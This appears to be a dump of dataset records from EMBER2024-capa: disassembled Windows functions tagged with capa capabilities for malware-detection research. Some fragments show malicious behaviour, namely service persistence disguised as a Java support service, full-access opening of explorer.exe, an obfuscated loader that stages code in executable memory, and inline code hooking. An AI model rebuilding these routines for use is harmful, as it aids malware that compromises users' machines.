joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10028c8
Capabilities:
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
push esi
push esi
push 3
push esi
push esi
mov ebx, 0x40000000
push ebx
push dword [ebp + 8]
call edi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x1002910
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push 3
push esi
push esi
push ebx
push dword [ebp + 8]
call edi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x100298c
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
xor eax, eax
mov ax, word [edi + 2]
push eax
xor eax, eax
mov ax, word [edi]
push eax
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
mov ebx, eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
or ebx, eax
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 4]
or ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ax, word [edi + 4]
push eax
call fcn.010023f0
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
or eax, ebx
jne 0x100298c
push dword [ebp + 8]
push 0x10011b0
push 0x1001348
push dword [ebp + 0x10]
call fcn.01002055
add esp, 0x10
xor eax, eax
jmp 0x100298f
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x100299b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 4], 0
push esi
mov esi, dword [sym.imp.msvcrt.dll__open]
push edi
mov edi, dword [ebp + 0xc]
push 0x8000
push edi
call esi
cmp eax, 0xffffffff
pop ecx
pop ecx
mov dword [ebp - 8], eax
jne 0x10029e3
push edi
push 0x10011b0
push 0x10013d4
push dword [ebp + 0x20]
call fcn.01002055
add esp, 0x10
jmp 0x1002b2e
push ebx
mov ebx, dword [ebp + 0x20]
push ebx
push edi
lea eax, [ebp - 0x14]
push eax
call fcn.01002857
test eax, eax
je 0x1002b13
cmp dword [ebp + 0x18], 0
je 0x1002a13
push ebx
push dword [ebp + 0x1c]
lea eax, [ebp - 0x14]
push eax
call dword [ebp + 0x18]
test eax, eax
je 0x1002b13
cmp dword [ebp + 0x10], 0
jne 0x1002a25
mov dword [ebp - 0xc], 1
jmp 0x1002b13
mov ecx, dword [ebp + 0x14]
xor edx, edx
inc edx
cmp ecx, edx
ja 0x1002a31
mov ecx, edx
mov eax, 0x100000
cmp ecx, eax
jae 0x1002a44
cmp dword [ebp + 0x14], edx
ja 0x1002a47
mov dword [ebp + 0x14], edx
jmp 0x1002a47
mov dword [ebp + 0x14], eax
push dword [ebp + 0x14]
call dword [sym.imp.msvcrt.dll_malloc]
test eax, eax
pop ecx
mov dword [ebp - 4], eax
jne 0x1002a74
push dword [ebp + 8]
push edi
push 0x10011e8
push 0x10013a8
push ebx
call fcn.01002055
add esp, 0x14
jmp 0x1002b13
push 0x180
push 0x8301
push dword [ebp + 8]
call esi
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
jne 0x1002aa0
push dword [ebp + 8]
push 0x10011b0
push 0x10013d4
push ebx
jmp 0x1002b56
mov ebx, dword [sym.imp.msvcrt.dll__eof]
jmp 0x1002ad7
push dword [ebp + 0x14]
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.msvcrt.dll__read]
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x1002b37
test esi, esi
je 0x1002ad7
push esi
push dword [ebp - 4]
push edi
call dword [sym.imp.msvcrt.dll__write]
add esp, 0xc
cmp eax, esi
jne 0x1002b46
push dword [ebp - 8]
call ebx
test eax, eax
pop ecx
je 0x1002aa8
push edi
call dword [sym.imp.msvcrt.dll__close]
pop ecx
push dword [ebp + 0x20]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
or edi, 0xffffffff
call fcn.010028c8
test eax, eax
je 0x1002b13
mov dword [ebp - 0xc], 1
cmp edi, 0xffffffff
je 0x1002b13
push edi
call dword [sym.imp.msvcrt.dll__close]
pop ecx
push dword [ebp - 8]
call dword [sym.imp.msvcrt.dll__close]
cmp dword [ebp - 4], 0
pop ecx
pop ebx
je 0x1002b2e
push dword [ebp - 4]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret 0x1c
push dword [ebp + 0xc]
push 0x10011b0
push 0x1001390
jmp 0x1002b53
push dword [ebp + 0xc]
push 0x10011b0
push 0x1001378
push dword [ebp + 0x20]
call fcn.01002055
add esp, 0x10
jmp 0x1002b06
Function at 0x1003efb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.msvcrt.dll__read]
add esp, 0xc
cmp esi, dword [0x1007020]
mov edi, eax
jne 0x1003f2d
mov eax, dword [0x100706c]
add eax, edi
mov dword [0x100706c], eax
jmp 0x1003f41
cmp esi, dword [0x1007024]
jne 0x1003f53
mov eax, dword [0x1007064]
add eax, edi
mov dword [0x1007064], eax
cmp eax, dword [0x1007070]
jbe 0x1003f53
mov dword [0x1007070], eax
call fcn.01003a4e
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x100540e
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x1007030]
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x220], eax
push edi
lea eax, [ebp - 0x21c]
push eax
call fcn.01002085
xor ebx, ebx
push 0x1074
mov dword [ebp - 0x18], ebx
mov byte [0x10070a0], bl
call dword [sym.imp.msvcrt.dll_malloc]
mov esi, eax
cmp esi, ebx
pop ecx
jne 0x100547e
lea eax, [ebp - 0x21c]
push 0x1001f9c
push eax
call fcn.01002055
pop ecx
pop ecx
lea eax, [ebp - 0x21c]
push eax
push ebx
call fcn.01003645
push 1
call dword [sym.imp.msvcrt.dll_exit]
mov edi, dword [sym.imp.msvcrt.dll_printf]
mov dword [0x10071a0], esi
push 0x1001f20
mov dword [esi + 0xc], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0x858], ebx
mov dword [esi + 0x850], ebx
mov dword [esi + 0x854], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 4], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x48], ebx
mov byte [esi + 0xe64], bl
mov dword [esi + 0x1064], ebx
mov dword [esi + 0x106c], ebx
call edi
pop ecx
lea eax, [ebp - 0x21c]
push eax
push dword [ebp - 0x220]
push dword [ebp + 8]
push esi
call fcn.01004be8
test eax, eax
jne 0x10054fa
lea eax, [ebp - 0x21c]
push eax
push esi
call fcn.01003645
jmp 0x1005559
mov eax, dword [esi]
cmp eax, 1
jne 0x1005516
push 0x1001468
call edi
mov dword [esp], 0x1001b50
call edi
jmp 0x10055c9
cmp eax, 5
lea eax, [ebp - 0x21c]
push eax
push esi
jne 0x1005532
call fcn.01003b1d
test eax, eax
jne 0x10055ca
jmp 0x10054eb
call fcn.01004ebf
test eax, eax
jne 0x100555e
lea eax, [ebp - 0x21c]
push eax
push esi
call fcn.01003645
mov eax, dword [0x1007094]
cmp eax, 0xffffffff
je 0x1005559
push eax
call fcn.0100389f
pop ecx
xor eax, eax
inc eax
jmp 0x10055cc
mov eax, dword [esi + 0x3c]
cmp eax, ebx
jne 0x1005588
push 0x1001b3c
lea ebx, [esi + 0x150]
push 0x200
push ebx
call fcn.010032fd
push ebx
push 0x10014f8
call edi
add esp, 0x14
jmp 0x10055c2
cmp dword [esi], 3
jne 0x10055c2
cmp eax, 1
mov ecx, 0x1001b24
je 0x100559c
mov ecx, 0x1001b0c
push dword [esi + 0x40]
lea ebx, [esi + 0x150]
push eax
push 0x1001afc
push ecx
push 0x200
push ebx
call fcn.010032fd
push ebx
push 0x10014f8
call edi
add esp, 0x20
push esi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.01005746
leave
ret
Function at 0x4010c6
Capabilities:
Accept command line arguments
Encode data using base64

Disassembly:
push ebx
push esi
xor ebx, ebx
push edi
mov dword [0x40301c], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
jne 0x4010fd
xor eax, eax
jmp 0x4011a9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [esi], 0x22
jne 0x401124
jmp 0x40cade
mov dword [0x40301c], esi
mov al, byte [esi]
cmp al, bl
je 0x40113b
cmp al, 0x20
je 0x40113b
cmp al, 9
je 0x40113b
inc esi
jmp 0x40112a
cmp byte [esi], bl
je 0x401142
mov byte [esi], bl
inc esi
push 1
mov ecx, 0x403020
pop eax
mov dl, byte [esi]
cmp dl, bl
je 0x401155
cmp dl, 0x20
je 0x40115a
cmp dl, 9
jne 0x40115d
inc esi
jmp 0x40114a
mov dl, byte [esi]
cmp dl, bl
je 0x4011a9
cmp dl, 0x22
jne 0x40117f
inc esi
inc eax
mov dword [ecx], esi
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x40119a
cmp dl, 0x22
je 0x40119a
inc esi
jmp 0x401171
mov dword [ecx], esi
inc eax
add ecx, 4
mov dword [ecx], ebx
mov dl, byte [esi]
cmp dl, bl
je 0x40119a
cmp dl, 0x20
je 0x40119a
cmp dl, 9
je 0x40119a
inc esi
jmp 0x401187
cmp byte [esi], bl
je 0x4011a9
mov byte [esi], bl
inc esi
cmp ecx, 0x40321c
jl 0x40114a
pop edi
pop esi
pop ebx
ret

Function at 0x401205
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x22c
mov edi, eax
lea eax, [ebp - 0x230]
push ebx
push eax
call fcn.00401580
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x401273
push str.explorer.exe
jmp loc.00405edc
test eax, eax
jne 0x40124f
jmp 0x40127f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x40129b
push ebx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret
Function at 0x4012dd
Capabilities:
Create service
Modify service
Parse pe header
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
push 2
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4013b9
push ebx
push edi
push 0x208
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
push esi
xor eax, eax
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x214]
push eax
push 1
push 2
push 0x110
mov ebx, 0xf01ff
push ebx
push str.Java_TM__Virtual_Machine_Support_Service
mov edi, str.javatmsup
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x401391
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
je 0x401363
cmp eax, 0x436
jne 0x4013ae
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, esi
je 0x4013ae
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x214]
push eax
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push edi
jmp 0x4013a8
lea ecx, [ebp - 8]
push ecx
push 1
jmp 0x40da4c
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4013bc
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push esi
push edi
push dword [ebp + 8]
call fcn.004012a2
push 0x40
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.00401580
add esp, 0x10
lea eax, [ebp - 4]
push eax
push str.SOFTWAREJavaSoft
push 0x80000002
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x58], str.WinSta0Default
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
cmp dword [ebp - 4], esi
je 0x40143e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 8]
push eax
push esi
push str.Supplement
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x208
mov dword [ebp - 8], 3
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
lea eax, [ebp - 0x268]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
pop edi
pop esi
test eax, eax
je 0x40146a
mov eax, dword [ebp - 0x1c]
leave
ret
jmp 0x409c94
Function at 0x40cc7b
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x434ad7
call fcn.004339e0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.004028e9
and dword [ebp - 4], 0
lea ecx, [esi + 0xc]
call fcn.004028e9
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.004028e9
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 2
call fcn.004028e9
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 3
call fcn.004028e9
and byte [esi + 0x3c], 0
lea ecx, [esi + 0x40]
mov byte [ebp - 4], 4
call fcn.004028e9
lea ecx, [esi + 0x4c]
mov byte [ebp - 4], 5
call fcn.004028e9
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x40d3e4
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x434bff
call fcn.004339e0
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.004029bc
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.004029bc
lea eax, [edi + 0x18]
lea ecx, [esi + 0x18]
push eax
mov byte [ebp - 4], 1
call fcn.004029bc
lea eax, [edi + 0x24]
lea ecx, [esi + 0x24]
push eax
mov byte [ebp - 4], 2
call fcn.004029bc
lea eax, [edi + 0x30]
lea ecx, [esi + 0x30]
push eax
mov byte [ebp - 4], 3
call fcn.004029bc
mov al, byte [edi + 0x3c]
lea ecx, [esi + 0x40]
mov byte [esi + 0x3c], al
lea eax, [edi + 0x40]
push eax
mov byte [ebp - 4], 4
call fcn.004029bc
add edi, 0x4c
lea ecx, [esi + 0x4c]
push edi
mov byte [ebp - 4], 5
call fcn.004029bc
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x40dd71
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40dd80
pop dword [ebp - 0x48]
mov eax, 0x40dd80
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3e583
push 0
mov eax, 0x8ec45c1e
sub eax, 0x8e80dbee
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0xc0e0635e
add ecx, 0x3f1ff35b
xor ebx, ebx
add ebx, eax
mov esi, 0x6ce7750d
add esi, 0x935d50f3
add esi, dword [ebp - 0x48]
mov edx, 0x8cfe86d4
sub edx, 0x630d93bb
mov edi, dword [esi]
add dword [ebp - 0x38], ecx
add edi, edx
xor dword [ebp - 0x40], 0x93c5cfd
mov dword [ebx], edi
sub dword [ebp - 0x18], edx
add ebx, 0xff56cfe9
add ebx, 0xa9301b
add esi, 0x8084c241
add esi, 0x7f7b3dc3
loop 0x40dddc
add eax, 0x61d53dc2
add eax, 0x9e2c0ff5
xor ebx, ebx
add ebx, eax
add eax, 0xdd848ffc
add eax, 0x227b7009
mov ecx, 0x49017063
sub ecx, 0x48c17063
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x412d32
Capabilities:
Encode data using xor

Disassembly:
push esi
or eax, 0xffffffff
xor esi, esi
test edx, edx
jbe 0x412d5f
push ebx
push edi
movzx edi, byte [esi + ecx]
mov ebx, eax
and ebx, 0xff
xor edi, ebx
shr eax, 8
mov edi, dword [edi*4 + 0x444740]
xor eax, edi
inc esi
cmp esi, edx
jb 0x412d3e
pop edi
pop ebx
not eax
pop esi
ret
Function at 0x10014de
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10014e8
repz ret
jmp fcn.01002131

Function at 0x10150f6
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.010055e5
xor ebx, ebx
cmp dword [0x1065a40], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x10151cb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x1015136
xor eax, eax
jmp 0x101528f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x101512f
push eax
call fcn.01005582
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1065a40], eax
call esi
push eax
call fcn.01005582
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1065a44], eax
call esi
push eax
call fcn.01005582
mov dword [0x1065a48], eax
lea eax, [ebp - 8]
push eax
call fcn.01005201
test eax, eax
pop ecx
pop ecx
je 0x1015199
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.01002283
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x10151cb
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.01005582
cmp eax, ebx
pop ecx
mov dword [0x1065a50], eax
je 0x10151cb
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.01005582
pop ecx
mov dword [0x1065a4c], eax
mov eax, dword [0x1065a4c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x1015244
cmp dword [0x1065a50], esi
je 0x1015244
push eax
call fcn.010055ee
pop ecx
call eax
cmp eax, ebx
je 0x1015211
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x1065a50]
call fcn.010055ee
pop ecx
call eax
test eax, eax
je 0x1015211
test byte [ebp - 0x18], 1
jne 0x1015244
lea eax, [ebp - 0xc]
push eax
call fcn.010052b0
test eax, eax
pop ecx
je 0x101522c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.01002283
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x101523b
or dword [ebp + 0x10], 0x200000
jmp 0x1015275
or dword [ebp + 0x10], 0x40000
jmp 0x1015275
mov eax, dword [0x1065a44]
cmp eax, esi
je 0x1015275
push eax
call fcn.010055ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1015275
mov eax, dword [0x1065a48]
cmp eax, esi
je 0x1015275
push dword [ebp - 4]
push eax
call fcn.010055ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x1065a40]
call fcn.010055ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10428c0
Capabilities:
Get common file path

Disassembly:
mov ecx, dword [0x1065040]
mov edx, dword [0x106507c]
mov al, cl
add al, byte [0x1065034]
push ebx
push esi
add al, 0x1a
movzx esi, al
sub esi, ecx
sub esi, 7
lea edx, [edx + ecx - 4]
push esi
mov byte [0x1065078], al
mov dword [0x1065074], edx
mov dword [0x1065038], esi
mov dword [0x106503c], 0
call fcn.01018420
add esp, 4
mov edx, esi
call fcn.01018580
mov edx, dword [0x106503c]
xor ecx, ecx
cmp ecx, edx
mov dword [0x1065034], eax
jb 0x1042963
mov ecx, dword [0x1065038]
ja 0x104292c
cmp eax, ecx
jb 0x1042963
push 0
push 0x13234
push edx
push ecx
call fcn.0100aa90
mov ecx, dword [0x1065040]
xor esi, esi
add eax, ecx
mov dword [0x1065038], eax
adc edx, esi
add byte [0x106506e], cl
lea eax, [eax + ecx + 0x16a5e]
mov dword [0x106503c], edx
mov dword [0x1065034], eax
push 0x10a93d0
push 0x66e
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebx, dword [0x1065038]
mov esi, eax
mov eax, ebx
imul eax, eax, 0x16
add eax, esi
mov cl, bl
add cl, al
sub cl, 4
mov edx, ebx
mov dword [0x1065040], eax
mov byte [0x1065078], cl
call fcn.01018210
cmp word [0x1065062], 0
mov ecx, eax
mov eax, dword [0x106507c]
lea edx, [eax + ecx]
mov dword [0x1065034], ecx
lea ecx, [esi + edx + 0x3c]
mov dword [0x1065074], ecx
je 0x10429cc
imul eax, ecx
add eax, ebx
pop esi
mov dword [0x106507c], eax
pop ebx
ret
mov edx, eax
sub edx, ecx
sub edx, 7
pop esi
mov dword [0x1065038], edx
mov dword [0x106503c], 0
pop ebx
ret
Function at 0x10142cf0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
lea edi, [ebp - 0x18]
mov ecx, 6
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x101873ae
call fcn.10071e0a
mov eax, dword [0x10184bd8]
mov dword [ebp - 8], eax
jmp 0x10142d27
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10142d40
mov eax, dword [ebp - 8]
cmp dword [eax + 4], 0
je 0x10142d3e
mov eax, dword [ebp - 8]
jmp 0x10142dc3
jmp 0x10142d1f
mov esi, esp
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, esp
call fcn.10071496
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10142dc0
mov eax, dword [ebp - 8]
add eax, 0x20
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [eax + 4], 0
mov eax, dword [ebp - 8]
mov dword [eax + 8], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 4]
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x14]
add eax, 0x20
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 8]
cmp eax, 0xfe0
jbe 0x10142d83
mov eax, dword [ebp - 8]
mov ecx, dword [0x10184bd8]
mov dword [eax], ecx
mov eax, dword [ebp - 8]
mov dword [0x10184bd8], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.10071496
mov esp, ebp
pop ebp
ret
Function at 0x10144890
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea edi, [ebp - 0x4c]
mov ecx, 0x13
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x1017d880]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x10187536
call fcn.10071e0a
imul eax, dword [ebp + 8], 0x2c
add eax, dword [0x10184bc0]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x24], 5
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x101448fd
mov eax, dword [ebp - 0x30]
sub eax, 5
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
add eax, 2
mov dword [ebp - 0x24], eax
mov esi, esp
lea eax, [ebp - 0x18]
push eax
push 0x40
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.10071496
test eax, eax
jne 0x10144928
mov eax, 0xa
jmp 0x10144a2a
cmp dword [ebp + 0xc], 0
je 0x10144975
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov byte [eax], 0xe9
mov eax, dword [ebp - 0x30]
add eax, 5
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 4]
sub edx, eax
mov eax, dword [ebp - 0x3c]
mov dword [eax + 1], edx
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x10144973
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov byte [eax], 0xeb
mov eax, dword [ebp - 0x48]
mov byte [eax + 1], 0xf9
jmp 0x101449b1
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x1014499c
push 7
mov eax, dword [ebp - 0xc]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.10071c93
add esp, 0xc
jmp 0x101449b1
push 5
mov eax, dword [ebp - 0xc]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.10071c93
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.10071496
mov esi, esp
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, esp
call fcn.10071496
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp esi, esp
call fcn.10071496
mov al, byte [ebp + 0xc]
and al, 1
shl al, 1
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx + 0x14]
and dl, 0xfd
or dl, al
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x14], dl
mov al, byte [ebp + 0xc]
and al, 1
shl al, 2
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx + 0x14]
and dl, 0xfb
or dl, al
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x14], dl
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x10144a5c]
call fcn.10071117
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10070c76
add esp, 0x10c
cmp ebp, esp
call fcn.10071496
mov esp, ebp
pop ebp
ret